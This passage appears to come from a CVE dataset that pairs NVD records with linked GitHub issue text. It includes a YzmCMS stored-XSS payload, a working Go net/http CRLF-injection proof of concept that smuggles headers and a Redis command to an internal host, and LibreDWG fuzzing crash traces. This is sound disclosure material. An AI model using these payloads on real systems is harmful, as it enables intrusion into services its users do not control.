2019-03-13T09:46:04Z

https://github.com/yzmcms/yzmcms/issues/12

419,017,671

12

CVE-2019-9661

2019-03-11T05:29:00.770

Stored XSS exists in YzmCMS 5.2 via the admin/system_manage/user_config_edit.html "value" parameter,

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[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/yzmcms/yzmcms/issues/13" } ]

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https://github.com/yzmcms/yzmcms/issues/13

[ "Exploit", "Third Party Advisory" ]

github.com

[ "yzmcms", "yzmcms" ]

### Vulnerability description A xss vulnerability was discovered in yzmcms. In YzmCMS 5.2, stored XSS exists via the admin/system_manage/user_config_edit.html value parameter, which allows remote attackers to inject arbitrary web script or HTML. ### poc xss payload: <img src=# onerror=alert(1)> ![image](https://user-images.githubusercontent.com/18137763/54064351-66239100-424e-11e9-8adf-3282e32a47ec.png) ![image](https://user-images.githubusercontent.com/18137763/54064375-ad118680-424e-11e9-8ff5-666ff05d2925.png) ![image](https://user-images.githubusercontent.com/18137763/54064388-cfa39f80-424e-11e9-8d91-cd1f36ea5503.png)

There is a stored XSS vulnerability in yzmcms v5.2

https://api.github.com/repos/yzmcms/yzmcms/issues/13/comments

1

2019-03-09T01:37:00Z

2019-03-13T09:47:34Z

https://github.com/yzmcms/yzmcms/issues/13

419,018,510

13

CVE-2019-9741

2019-03-13T08:29:00.553

An issue was discovered in net/http in Go 1.11.5. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the second argument to http.NewRequest with \r\n followed by an HTTP header or a Redis command.

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[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107432" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1300" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1519" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/golang/go/issues/30794" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/04/msg00007.html" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00014.html" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00015.html" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TOOVCEPQM7TZA6VEZEEB7QZABXNHQEHH/" } ]

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https://github.com/golang/go/issues/30794

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "golang", "go" ]

### What version of Go are you using (`go version`)? <pre> $ go version go version go1.11.5 linux/amd64 </pre> ### Does this issue reproduce with the latest release? yes ### What operating system and processor architecture are you using (`go env`)? <details><summary><code>go env</code> Output</summary><br><pre> $ go env GOARCH="amd64" GOBIN="" GOCACHE="/root/.cache/go-build" GOEXE="" GOFLAGS="" GOHOSTARCH="amd64" GOHOSTOS="linux" GOOS="linux" GOPATH="/root/go" GOPROXY="" GORACE="" GOROOT="/usr/lib/go-1.11" GOTMPDIR="" GOTOOLDIR="/usr/lib/go-1.11/pkg/tool/linux_amd64" GCCGO="gccgo" CC="gcc" CXX="g++" CGO_ENABLED="1" GOMOD="" CGO_CFLAGS="-g -O2" CGO_CPPFLAGS="" CGO_CXXFLAGS="-g -O2" CGO_FFLAGS="-g -O2" CGO_LDFLAGS="-g -O2" PKG_CONFIG="pkg-config" GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build037594719=/tmp/go-build -gno-record-gcc-switches" </pre></details> ### Principles The current implementation of net.http does not encode the ‘\r\n’ sequence in the query string, which allowed the attacker to manipulate a HTTP header with the ‘\r\n’ sequence in it, so the attacker could insert arbitrary content to the new line of the HTTP header. ### What did you do?  Consider the following Golong code snippet: package main import ( "fmt" "net/http" ) func main() { client := &http.Client{} host := "10.251.0.83:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123" url := "http://" + host + ":8080/test/?test=a" request, err := http.NewRequest("GET", url, nil) if err != nil { fmt.Printf("request error\n") } resp, err := client.Do(request) if err != nil { fmt.Printf("response error\n") } resp.Body.Close() } In this script, the host parameter usually could be controlled by user, and the content of host above is exactly the payload. We setup a server using nc to open a 7777 port and to receive and display the HTTP request data from client , then run the code above on a client to sent a HTTP request to the server. nc -l -p 7777 GET /?a=1 HTTP/1.1 X-injected: header TEST: 123:8080/test/?test=a HTTP/1.1 Host: 10.251.0.83:7777 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip As you can see in the picture above , the nc server displayed the HTTP request with a manipulated header content:” X-injected:header”, which means we successfully injected the HTTP header. In order to make the injected header available, we have to add an extra ‘\r\n’ after the new header, so we add another parameter to contain the original parameter data, like ‘TEST’ in above sample. ### Attack Scenarios 1. By crafting HTTP headers, it’s possible to fool some web services; 2. It’s also possible to attack several simple services like Redis, memcached. Let’s take Redis as a example here: Adapt the script above to this: package main import ( "fmt" "net/http" ) func main() { client := &http.Client{} host := "10.251.0.83:6379?\r\nSET test success\r\n" url := "http://" + host + ":8080/test/?test=a" request, err := http.NewRequest("GET", url, nil) if err != nil { fmt.Printf("request error\n") } resp, err := client.Do(request) if err != nil { fmt.Printf("response error\n") } resp.Body.Close() } We changed the injected header to a valid redis command, after executing this, we check the redis server: 127.0.0.1:6379> GET test "success" 127.0.0.1:6379> We can see that a “test” key was inserted successfully. ### Conclusion The implementation of parameter handling of net.http is vulnerable, which allows attacker to manipulate the HTTP header. Attacker who has ability to take control of the requesting address parameter of this library, could exploit this vulnerability to manipulate a HTTP header and attack an internal host like a normal Webserver, Memcached, Redis and so on.

net/http: CRLF injection vulnerability

https://api.github.com/repos/golang/go/issues/30794/comments

7

2019-03-13T02:40:30Z

2020-12-23T23:34:07Z

https://github.com/golang/go/issues/30794

420,290,799

30,794

CVE-2019-9770

2019-03-14T09:29:00.677

An issue was discovered in GNU LibreDWG 0.7 and 0.7.1645. There is a heap-based buffer overflow in the function dwg_decode_eed_data at decode.c for the y dimension.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00033.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00045.html" }, { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107447" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/LibreDWG/libredwg/issues/99" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://savannah.gnu.org/bugs/index.php?55893" } ]

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https://github.com/LibreDWG/libredwg/issues/99

[ "Exploit", "Third Party Advisory" ]

github.com

[ "LibreDWG", "libredwg" ]

# libredwg ## version libredwg 0.7 and 0.7.1645 ## description ```txt libredwg ``` ## download link https://github.com/LibreDWG/libredwg/releases --------------------- ## [email protected]:2034-3___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LEADER at dwg.spec:2034-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32285==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4d91d2b51e bp 0x0c22000045e3 sp 0x7ffd87ed4b60 T0) ==32285==The signal is caused by a READ memory access. ==32285==Hint: address points to the zero page. #0 0x7f4d91d2b51d in dwg_dxf_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2034:3 #1 0x7f4d91d2b51d in dwg_dxf_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:934 #2 0x7f4d91ca1ba7 in dxf_entities_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1528:18 #3 0x7f4d91ca1ba7 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1596 #4 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #5 0x7f4d905aab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #6 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2034:3 in dwg_dxf_LEADER ==32285==ABORTING ``` ### others from fuzz project None crash name None-00000007-1552381583.dwg Auto-generated by pyspider at 2019-03-12 18:15:41 ## bit_read_B@___out-of-bounds-read ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an out-of-bounds-read in function bit_read_B at ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32294==ERROR: AddressSanitizer: SEGV on unknown address 0x7f6692681af1 (pc 0x7f6675cd7f01 bp 0x0c0800001814 sp 0x7ffc0f5f3ef0 T0) ==32294==The signal is caused by a READ memory access. #0 0x7f6675cd7f00 in bit_read_B /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c #1 0x7f6675f33256 in obj_string_stream /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode_r2007.c:1126:22 #2 0x7f6675ea3b0f in dwg_decode_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2738:18 #3 0x7f6675d81cc6 in dwg_decode_UNKNOWN_OBJ_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530:1 #4 0x7f6675d81cc6 in dwg_decode_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530 #5 0x7f6675d81cc6 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3809 #6 0x7f6675d113d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #7 0x7f6675d113d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #8 0x7f6675cf4049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #9 0x7f6675ccf4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #11 0x7f6674bacb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c in bit_read_B ==32294==ABORTING ``` ### others from fuzz project None crash name None-00000006-1552381538.dwg Auto-generated by pyspider at 2019-03-12 18:15:42 ## [email protected]:2353-32___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_decode_eed_data at decode.c:2353-32 ### commandline dwg2dxf @@ -o /dev/null ### source ```c In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c 2348 data->u.eed_4.data[j] = bit_read_RC(dat); 2349 LOG_TRACE("raw: %s\n", data->u.eed_4.data); 2350 break; 2351 case 10: case 11: case 12: case 13: /*case 14: case 15:*/ 2352 data->u.eed_10.point.x = bit_read_RD(dat); ► 2353 data->u.eed_10.point.y = bit_read_RD(dat); 2354 data->u.eed_10.point.z = bit_read_RD(dat); 2355 LOG_TRACE("3dpoint: %f, %f, %f\n", 2356 data->u.eed_10.point.x, 2357 data->u.eed_10.point.y, 2358 data->u.eed_10.point.z); ``` ### bug report ```txt ================================================================= ==32310==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006740 at pc 0x7efd7e7806c5 bp 0x7ffe71660c30 sp 0x7ffe71660c28 WRITE of size 8 at 0x602000006740 thread T0 #0 0x7efd7e7806c4 in dwg_decode_eed_data /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2353:32 #1 0x7efd7e7806c4 in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2473 #2 0x7efd7e7757ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 #3 0x7efd7e64f874 in dwg_decode_LEADER_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026:1 #4 0x7efd7e64f874 in dwg_decode_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026 #5 0x7efd7e64f874 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3630 #6 0x7efd7e5fe3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #7 0x7efd7e5fe3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #8 0x7efd7e5e1049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #9 0x7efd7e5bc4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #11 0x7efd7d499b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x602000006740 is located 5 bytes to the right of 11-byte region [0x602000006730,0x60200000673b) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7efd7e77ea9f in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2470:47 #2 0x7efd7e7757ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2353:32 in dwg_decode_eed_data Shadow bytes around the buggy address: 0x0c047fff8c90: fa fa 00 00 fa fa 04 fa fa fa 00 03 fa fa 04 fa 0x0c047fff8ca0: fa fa 00 03 fa fa 00 06 fa fa 00 00 fa fa 00 00 0x0c047fff8cb0: fa fa 00 00 fa fa 00 00 fa fa 04 fa fa fa 00 03 0x0c047fff8cc0: fa fa 04 fa fa fa 00 03 fa fa 00 06 fa fa 00 03 0x0c047fff8cd0: fa fa 00 06 fa fa 00 03 fa fa 00 06 fa fa 00 03 =>0x0c047fff8ce0: fa fa 00 06 fa fa 00 03[fa]fa fa fa fa fa fa fa 0x0c047fff8cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32310==ABORTING ``` ### others from fuzz project None crash name None-00000003-1552381586.dwg Auto-generated by pyspider at 2019-03-12 18:15:43 ## [email protected]:2523-11___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_dxf_LTYPE at dwg.spec:2523-11 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt ================================================================= ==32330==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000015008 at pc 0x7eff104ff2d8 bp 0x7ffd1eb7a490 sp 0x7ffd1eb7a488 READ of size 1 at 0x608000015008 thread T0 #0 0x7eff104ff2d7 in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2523:11 #1 0x7eff104de5c1 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1272:11 #2 0x7eff104b01d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7eff0edb9b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x608000015008 is located 8 bytes to the right of 96-byte region [0x608000014fa0,0x608000015000) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7eff0ff7c742 in dwg_add_LINE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:877:1 #2 0x7eff0ff7c742 in dwg_decode_LINE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:877 #3 0x7eff0ff7c742 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3555 #4 0x7eff0ff1e3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #5 0x7eff0ff1e3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #6 0x7eff0ff01049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #7 0x7eff0fedc4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #8 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #9 0x7eff0edb9b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2523:11 in dwg_dxf_LTYPE Shadow bytes around the buggy address: 0x0c107fffa9b0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9c0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9f0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c107fffaa00: fa[fa]fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa10: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa20: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa30: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa40: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa50: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32330==ABORTING ``` ### others from fuzz project None crash name None-00000013-1552381572.dwg Auto-generated by pyspider at 2019-03-12 18:15:44 ## dxf_header_write@header_variables_dxf.spec:73-3___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dxf_header_write at header_variables_dxf.spec:73-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt ================================================================= ==32334==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000005ae0 at pc 0x7f47f17c85b0 bp 0x7ffdfb1fa790 sp 0x7ffdfb1fa788 READ of size 8 at 0x602000005ae0 thread T0 #0 0x7f47f17c85af in dxf_header_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./header_variables_dxf.spec:73:3 #1 0x7f47f179d2c9 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1579:3 #2 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #3 0x7f47f00a7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #4 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x602000005ae0 is located 8 bytes to the right of 8-byte region [0x602000005ad0,0x602000005ad8) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7f47f127cb11 in dwg_add_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530:1 #2 0x7f47f127cb11 in dwg_decode_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530 #3 0x7f47f127cb11 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3809 #4 0x7f47f120c3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #5 0x7f47f120c3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #6 0x7f47f11ef049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #7 0x7f47f11ca4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #8 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #9 0x7f47f00a7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./header_variables_dxf.spec:73:3 in dxf_header_write Shadow bytes around the buggy address: 0x0c047fff8b00: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b10: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b20: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b30: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b40: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa =>0x0c047fff8b50: fa fa 00 fa fa fa 00 fa fa fa 00 fa[fa]fa 00 fa 0x0c047fff8b60: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b70: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b80: fa fa 00 fa fa fa 00 06 fa fa 00 06 fa fa 00 06 0x0c047fff8b90: fa fa 00 06 fa fa 00 06 fa fa 00 06 fa fa 00 06 0x0c047fff8ba0: fa fa 00 06 fa fa 00 06 fa fa 00 06 fa fa 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32334==ABORTING ``` ### others from fuzz project None crash name None-00000008-1552381574.dwg Auto-generated by pyspider at 2019-03-12 18:15:45 ## dwg_dxf_LTYPE@___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LTYPE at ### commandline dwg2dxf @@ -o /dev/null ### source ```c In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.spec 2482 FIELD_RC (alignment, 72); 2483 } 2484 FIELD_RC (num_dashes, 73); 2485 REPEAT_C(num_dashes, dash, Dwg_LTYPE_dash) 2486 { ► 2487 PRE(R_13) 2488 { 2489 FIELD_RD (dash[rcount1].length, 49); 2490 #ifndef IS_PRINT 2491 FIELD_VALUE(pattern_len) += FIELD_VALUE(dash[rcount1].length); 2492 #endif ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32338==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb4e3e7f99c bp 0x7ffe9fb40000 sp 0x7ffe9fb3ec00 T0) ==32338==The signal is caused by a READ memory access. ==32338==Hint: address points to the zero page. #0 0x7fb4e3e7f99b in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec #1 0x7fb4e3e61658 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1275:20 #2 0x7fb4e3e331d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7fb4e273cb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec in dwg_dxf_LTYPE ==32338==ABORTING ``` ### others from fuzz project None crash name None-00000012-1552381601.dwg Auto-generated by pyspider at 2019-03-12 18:15:45 ## [email protected]:2471-3___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LTYPE at dwg.spec:2471-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32342==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f7dab4ac4f0 bp 0x3ff0000000000018 sp 0x7fff577b50a0 T0) ==32342==The signal is caused by a READ memory access. ==32342==Hint: address points to the zero page. #0 0x7f7dab4ac4ef in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2471:3 #1 0x7f7dab48f5c1 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1272:11 #2 0x7f7dab4611d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7f7da9d6ab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2471:3 in dwg_dxf_LTYPE ==32342==ABORTING ``` ### others from fuzz project None crash name None-00000010-1552381589.dwg Auto-generated by pyspider at 